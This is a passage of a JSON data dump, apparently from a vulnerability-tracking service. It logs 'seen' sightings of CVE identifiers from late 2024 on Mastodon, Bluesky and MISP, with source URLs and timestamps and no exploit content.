"seen", "source": "https://infosec.exchange/users/cve/statuses/113827768514500661", "content": "", "creation_timestamp": "2025-01-14T16:58:29.693714Z"}, {"uuid": "ae68431c-3cbe-41cb-8cf0-c82755747cff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113827171069136576", "content": "", "creation_timestamp": "2025-01-14T14:26:33.834862Z"}, {"uuid": "6e4fc564-ef63-4b62-b02a-a6176c3a7b78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5594", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113782669176936995", "content": "", "creation_timestamp": "2025-01-06T17:49:09.247111Z"}, {"uuid": "a74be50a-377a-4042-b3c4-0a2698a6f617", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55626", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113782677525284582", "content": "", "creation_timestamp": "2025-01-06T17:51:15.810469Z"}, {"uuid": "5c3d2b9f-6923-4606-bebe-747ff92d21c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://infosec.exchange/users/tomcat/statuses/113792585077913343", "content": "", "creation_timestamp": "2025-01-08T11:50:52.964090Z"}, {"uuid": "5204cf36-c8b7-4832-8adf-222bf593e6ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55627", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113782699139664116", "content": "", "creation_timestamp": "2025-01-06T17:56:45.663432Z"}, {"uuid": "49374296-63bd-46f0-8160-77d92014b141", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55555", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf65na7d5v2m", "content": "", "creation_timestamp": "2025-01-07T17:16:05.134538Z"}, {"uuid": "d3eae665-d103-418d-9182-dddb7839c161", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55628", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113782729492440784", "content": "", "creation_timestamp": "2025-01-06T18:04:28.799624Z"}, {"uuid": "c94a1b2b-0c6f-4d4e-aa38-c218f170af53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55224", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfdlzljs4y25", "content": "", "creation_timestamp": "2025-01-09T21:16:50.657310Z"}, {"uuid": "981373ad-67e7-4e63-a9e0-4db2c635c931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55629", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113782763860609034", "content": "", "creation_timestamp": "2025-01-06T18:13:13.355542Z"}, {"uuid": "e891f137-63ee-46c0-9e7a-bad26515b9c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lfa5tloze22a", "content": "", "creation_timestamp": "2025-01-08T12:25:03.493012Z"}, {"uuid": "7e837729-88f4-416c-865e-e408674d3939", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/cert-fr.bsky.social/post/3lfpqfnmjy22s", "content": "", "creation_timestamp": "2025-01-14T17:07:07.910011Z"}, {"uuid": "d42ab55f-a402-4f72-805b-b1b7dcbb73bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55529", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf3qjbnso52e", "content": "", "creation_timestamp": "2025-01-06T18:15:54.536751Z"}, {"uuid": "0515d58c-82c1-42f6-906e-ca42c7376e55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55626", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf3qjedzhf2e", "content": "", "creation_timestamp": "2025-01-06T18:15:57.125237Z"}, {"uuid": "0e923a35-4c14-45c1-a388-a314e27db662", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55629", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf3qjly4y225", "content": "", "creation_timestamp": "2025-01-06T18:16:05.090004Z"}, {"uuid": "022c2fad-b21b-4529-af3b-8177a4516226", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55954", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfv5qqxmvb2u", "content": "", "creation_timestamp": "2025-01-16T20:49:17.224208Z"}, {"uuid": "b85b5b71-6a39-4119-86e8-5b3968616a58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55627", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf3qjgutv622", "content": "", "creation_timestamp": "2025-01-06T18:15:59.762087Z"}, {"uuid": "1a339eac-d30f-49e6-82ce-a3026c085ed4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lfpwgojxzk2j", "content": "", "creation_timestamp": "2025-01-14T18:55:04.577286Z"}, {"uuid": "0c629243-dc68-4fc2-8bb5-b74ab6198785", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55628", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf3qjjqxfs2m", "content": "", "creation_timestamp": "2025-01-06T18:16:02.887965Z"}, {"uuid": "7405a820-4ab0-4888-85c5-6d522a877680", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55224", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113805551061422878", "content": "", "creation_timestamp": "2025-01-10T18:48:18.925293Z"}, {"uuid": "77c86889-79b9-4bab-8e37-5384993f96f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3lfuqoytsyg2c", "content": "", "creation_timestamp": "2025-01-16T16:55:40.118330Z"}, {"uuid": "26d08d32-d94b-40bd-8574-c6ed6b902678", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55225", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113805551131288767", "content": "", "creation_timestamp": "2025-01-10T18:48:20.442515Z"}, {"uuid": "ec782384-8ea7-4e2a-86cc-adcccc328a9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/intruder-io.bsky.social/post/3lfubg3n22c2b", "content": "", "creation_timestamp": "2025-01-16T12:22:16.141497Z"}, {"uuid": "ecea4333-2b84-4036-a779-28b021077735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55411", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788256984462650", "content": "", "creation_timestamp": "2025-01-07T17:30:11.695236Z"}, {"uuid": "f7c4530e-bed4-4c47-a3c8-aa115d1631ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55529", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf3s2nde3d2e", "content": "", "creation_timestamp": "2025-01-06T18:43:31.713252Z"}, {"uuid": "32e383f5-2b62-4567-888c-00176fb4c709", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55412", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788257000935649", "content": "", "creation_timestamp": "2025-01-07T17:30:11.903344Z"}, {"uuid": "34d82543-5012-4e7e-ae9b-c8bd57cff7f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lfpx2qrpbk2a", "content": "", "creation_timestamp": "2025-01-14T19:06:17.794471Z"}, {"uuid": "ef556beb-b627-4290-a218-7214ba28cfb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5594", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lfch2pdqaf2e", "content": "", "creation_timestamp": "2025-01-09T10:15:20.601334Z"}, {"uuid": "17e1fe83-de25-44a1-866c-d0a2dd7154ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lfsqzaxwxk2n", "content": "", "creation_timestamp": "2025-01-15T21:56:05.487374Z"}, {"uuid": "8594187c-d3a2-4320-97b3-6c8f14f8d4f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55629", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf3s2o7fk32e", "content": "", "creation_timestamp": "2025-01-06T18:43:35.941251Z"}, {"uuid": "1a7c58ae-1450-4cba-895b-710d9ecd7cb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55413", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788287330179200", "content": "", "creation_timestamp": "2025-01-07T17:37:55.862552Z"}, {"uuid": "79571493-5558-4779-b458-6ca70e7951ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55626", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf3s2noq5v2e", "content": "", "creation_timestamp": "2025-01-06T18:43:33.516920Z"}, {"uuid": "196f205c-4e6a-4a26-9ea6-f6bad1b968c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55627", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf3s2nsekr2b", "content": "", "creation_timestamp": "2025-01-06T18:43:34.109180Z"}, {"uuid": "c96db16a-0b09-496b-82b4-bc75ab01aca6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55414", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788309286732538", "content": "", "creation_timestamp": "2025-01-07T17:43:29.613262Z"}, {"uuid": "4346c581-79e2-4658-993c-e47494467d2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113839185805988808", "content": "", "creation_timestamp": "2025-01-16T17:22:04.463439Z"}, {"uuid": "a9a4d12c-eb2a-4666-9167-1b21ad2ba813", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55628", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf3s2nw6gd2y", "content": "", "creation_timestamp": "2025-01-06T18:43:34.707096Z"}, {"uuid": "6437ed56-cdf9-4d7f-ac94-b0efa88bb7f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55407", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113782918236590215", "content": "", "creation_timestamp": "2025-01-06T18:52:28.657821Z"}, {"uuid": "8d67e98c-19a0-4628-8bb7-a629550b4814", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3lfahkzbvys2z", "content": "", "creation_timestamp": "2025-01-08T15:19:09.624233Z"}, {"uuid": "60e03538-8fac-4a58-afa3-73e8e52d779e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55408", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113782943881367024", "content": "", "creation_timestamp": "2025-01-06T18:59:00.069428Z"}, {"uuid": "acf72fb6-a7ea-4a5f-b667-7d20dc7e635d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55555", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf67hqdasd2h", "content": "", "creation_timestamp": "2025-01-07T17:48:50.879032Z"}, {"uuid": "1d473e48-0514-4f20-ab50-6fbdcb5f63c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113827257320064030", "content": "", "creation_timestamp": "2025-01-14T14:48:33.287078Z"}, {"uuid": "c8cade45-eaec-40e6-b30d-0f8f74720e7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lfprokdudp2x", "content": "", "creation_timestamp": "2025-01-14T17:29:59.754425Z"}, {"uuid": "619ddb36-fcf6-43f2-a6f9-d73a39f1a86f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lf67w3bkyh23", "content": "", "creation_timestamp": "2025-01-07T17:56:49.570498Z"}, {"uuid": "af802799-7ea9-4f81-b309-9e418b8772fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55407", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf3tuaz3tz2m", "content": "", "creation_timestamp": "2025-01-06T19:15:44.126310Z"}, {"uuid": "f5752170-4247-46ec-bd4d-e2dde0e96a9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55656", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113793488636536286", "content": "", "creation_timestamp": "2025-01-08T15:40:40.822208Z"}, {"uuid": "58c9c175-3e5f-437a-8fbd-ff2de4eab04e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55408", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf3tudceeh2k", "content": "", "creation_timestamp": "2025-01-06T19:15:46.760654Z"}, {"uuid": "9c713cb8-e0c6-4eaa-a16c-acacdd227b57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55407", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf3vn6xrmj2q", "content": "", "creation_timestamp": "2025-01-06T19:47:34.657047Z"}, {"uuid": "e3941acb-6d2a-48d5-93af-5a1fa369f55f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://bsky.app/profile/ehcgroup.bsky.social/post/3lfd7dnn2uc2s", "content": "", "creation_timestamp": "2025-01-09T17:29:51.866275Z"}, {"uuid": "c33c59dd-1cf2-480a-b423-604d95a8a5b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55408", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf3vn7efvz2q", "content": "", "creation_timestamp": "2025-01-06T19:47:35.811595Z"}, {"uuid": "35e9413b-6f03-4367-8222-214907772257", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-01-07T18:10:04.000000Z"}, {"uuid": "fcabf375-6e0e-4f0f-96c7-8b09c42765ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55517", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113793531655881968", "content": "", "creation_timestamp": "2025-01-08T15:51:36.720186Z"}, {"uuid": "7ebc0991-b782-4e70-b0e9-4b570fadd260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55517", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113794698541811799", "content": "", "creation_timestamp": "2025-01-08T20:48:22.466656Z"}, {"uuid": "524b772e-a1a3-4ac2-a9ba-03447d3d5bac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55074", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113783244019784638", "content": "", "creation_timestamp": "2025-01-06T20:15:19.878904Z"}, {"uuid": "661f0bff-4d4d-47be-842b-97c5a705f75d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55074", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf3x7wsuki2k", "content": "", "creation_timestamp": "2025-01-06T20:15:57.263366Z"}, {"uuid": "1183bd38-6592-4652-b6b4-1b9e00abfb03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55981", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783253488942642", "content": "", "creation_timestamp": "2025-01-06T20:17:44.978388Z"}, {"uuid": "dc3d95c9-b910-4b4f-827d-7b15d46180f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55972", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783252872567233", "content": "", "creation_timestamp": "2025-01-06T20:17:35.269516Z"}, {"uuid": "b1d5b623-d94c-4c9f-9876-14c947922e6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55982", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783253970230299", "content": "", "creation_timestamp": "2025-01-06T20:17:52.132807Z"}, {"uuid": "b85ff64a-1276-459c-a7f2-1f47efb87a51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55976", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783252416684671", "content": "", "creation_timestamp": "2025-01-06T20:17:27.812473Z"}, {"uuid": "3f14bb2a-530b-40e5-9ca1-ba1787af785d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55978", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783256070082225", "content": "", "creation_timestamp": "2025-01-06T20:18:23.642886Z"}, {"uuid": "8620c7a3-9ff6-40ee-b1dc-ba787f685f04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113787881639134332", "content": "", "creation_timestamp": "2025-01-07T15:54:44.561925Z"}, {"uuid": "a06ba4bf-43a4-4dfe-b2bf-99ef7a389b49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55950", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113721360939391914", "content": "", "creation_timestamp": "2024-12-26T21:57:39.097481Z"}, {"uuid": "3681ccf8-2379-4383-b7eb-8a5fd941bc3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55980", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783256536987045", "content": "", "creation_timestamp": "2025-01-06T20:18:30.727881Z"}, {"uuid": "1a05afad-910b-4253-9fd0-33dda873b390", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55410", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf6aygijlv2c", "content": "", "creation_timestamp": "2025-01-07T18:16:02.001777Z"}, {"uuid": "c6eb04c2-2f0f-4ac6-b403-a8b1546d7efd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113827355879730690", "content": "", "creation_timestamp": "2025-01-14T15:13:34.329459Z"}, {"uuid": "9a9dbf43-60f0-4e2e-8d8c-586546f5b998", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55411", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf6ayiucab2k", "content": "", "creation_timestamp": "2025-01-07T18:16:04.496246Z"}, {"uuid": "f97f9355-32b9-4f32-853b-f7607372807a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55412", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf6aylmcdt22", "content": "", "creation_timestamp": "2025-01-07T18:16:07.365608Z"}, {"uuid": "1b8b0e87-4c04-457e-a471-00322ecbbba4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "MISP/52d769f1-4bad-4fbc-ab60-af547fc8956a", "content": "", "creation_timestamp": "2025-01-09T14:07:23.000000Z"}, {"uuid": "4bddc7e5-41d0-4894-9453-d808e187efec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55413", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf6aynyhmy25", "content": "", "creation_timestamp": "2025-01-07T18:16:09.872362Z"}, {"uuid": "1d9de2f4-0c92-429d-b040-7c63da3ad121", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55517", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfakqrbhjq2x", "content": "", "creation_timestamp": "2025-01-08T16:16:01.740231Z"}, {"uuid": "af8ab925-417c-43fe-9275-df366313ee51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55556", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113787932627494304", "content": "", "creation_timestamp": "2025-01-07T16:07:42.426954Z"}, {"uuid": "fe89db9d-33bd-45cb-82e7-0000233cf21b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55414", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf6ayq6fhv2i", "content": "", "creation_timestamp": "2025-01-07T18:16:12.117126Z"}, {"uuid": "c9c63316-8b3e-49da-a3b4-d4a09e310ec4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55656", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfakqtfnza27", "content": "", "creation_timestamp": "2025-01-08T16:16:04.037786Z"}, {"uuid": "682700ca-2d20-4600-ba25-70625e7729e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55459", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113793673094523448", "content": "", "creation_timestamp": "2025-01-08T16:27:35.013902Z"}, {"uuid": "d3205a30-2beb-4968-a42c-4c0bd7bb8fbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55577", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113830703436231851", "content": "", "creation_timestamp": "2025-01-15T05:24:53.150056Z"}, {"uuid": "2a58b83c-e0fc-4e1a-b66b-0802ebca6d59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lfuehtkncy23", "content": "", "creation_timestamp": "2025-01-16T13:16:54.833806Z"}, {"uuid": "170340e9-ac4e-4e88-aa74-dd9dbbe48d38", 